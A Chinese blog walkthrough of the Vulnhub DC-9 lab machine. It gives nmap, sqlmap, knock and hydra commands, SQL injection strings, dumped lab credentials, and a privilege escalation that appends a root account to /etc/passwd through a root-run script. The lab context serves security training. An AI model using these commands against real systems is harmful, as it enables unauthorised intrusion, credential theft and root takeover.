Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权

一、环境搭建

选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集

扫ip

nmap -sn 192.168.108.0/24

得到靶机ip:192.168.108.143

扫开放端口

nmap -p 1-65535 192.168.108.143

只开放了两个端口

信息如下

22/tcp filtered ssh #filtered是“过滤的”,意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open     http

扫版本服务信息

nmap -sV 192.168.108.143

得到以下信息

信息如下

22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))     #web的Apache服务版本

指纹探测

执行以下命令

nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all 

可用信息:

运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9

目录扫描

先用dirsaerch扫描

看看dirb扫描

整理一下可用信息

http://192.168.108.143/config.php      //配置文件
http://192.168.108.143/display.php     //副页面
http://192.168.108.143/includes   
http://192.168.108.143/logout.php      //登出界面
http://192.168.108.143/manage.php      //管理界面-登录框
http://192.168.108.143/search.php    //搜索界面
http://192.168.108.143/index.php    //主界面

三、Web渗透

看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage界面有可用信息,在manage界面存在一个登录框,尝试弱口令万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入

当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库

sqlmap -r DC9.txt --dbs

得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容

sqlmap -r DC9.txt -D Staff -T Users --dump

拿到一个管理员账号密码

password 'transorbital1' for user 'admin'

拿到的数据库

数据库:information_schema,Staff,users

看看users库

看看该表的列

看看表中数据

sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来

sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump

用户名

marym     
julied    
fredf     
barneyr   
tomc      
jerrym    
wilmaf    
bettyr   
chandlerb 
joeyt     
rachelg   
rossg     
monicag   
phoebeb   
scoots    
janitor   
janitor2  

密码

3kfs86sfd     
468sfdfsd2    
4sfd87sfd1    
RocksOff      
TC&TheBoyz    
B8m#48sd      
Pebbles       
BamBam01      
UrAG0D!       
Passw0rd      
yN72#dsd      
ILoveRachel   
3248dsds7s    
smellycats    
YR3BVxxxw87   
Ilovepeepee   
Hawaii-Five-0 

登录后台

成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务

参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html

随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务

端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。

看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接

apt install knock
knock 192.168.108.143 7469 8475 9842

然后看看端口开放状态,成功开启端口

ssh爆破

这里需要使用hydra工具

Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具

kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破

hydra -L user.txt -P passwd.txt ssh://192.168.108.143

拿到以下信息

login: chandlerb   password: UrAG0D!
login: joeyt   password: Passw0rd
login: janitor   password: Ilovepeepee

四、提权

ssh登录寻找信息

chandlerb

没有什么可用信息

joeyt

也是没什么有用信息

janitor

发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户

login: fredf   password: B4-Tru3-001

利用新账户登录

发现一个无需root权限可用使用的文件,/opt/devstuff/dist/test

执行该文件,发现如下信息

/opt/devstuff目录下发现test.py

查看该文件

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :         #检查命令行参数数量
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")      #将第一个参数可读
    output = (f.read())

    f = open(sys.argv[2], "a")      #将第一个参数的内容追加到第二个参数
    f.write(output)
    f.close()

这里举个例子,如果我们执行 ./test.py 1.txt 2.txt,那么程序会把1.txt的内容追加到2.txt,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到/etc/passwd

追加账户密码提权

先使用openssl生成一个密码

然后将密码写入一个文件

track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt

将文件写入/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd

然后登录即可

sudo track
密码:track
posted @ 2025-02-27 21:07  H轨迹H  阅读(164)  评论(0)    收藏  举报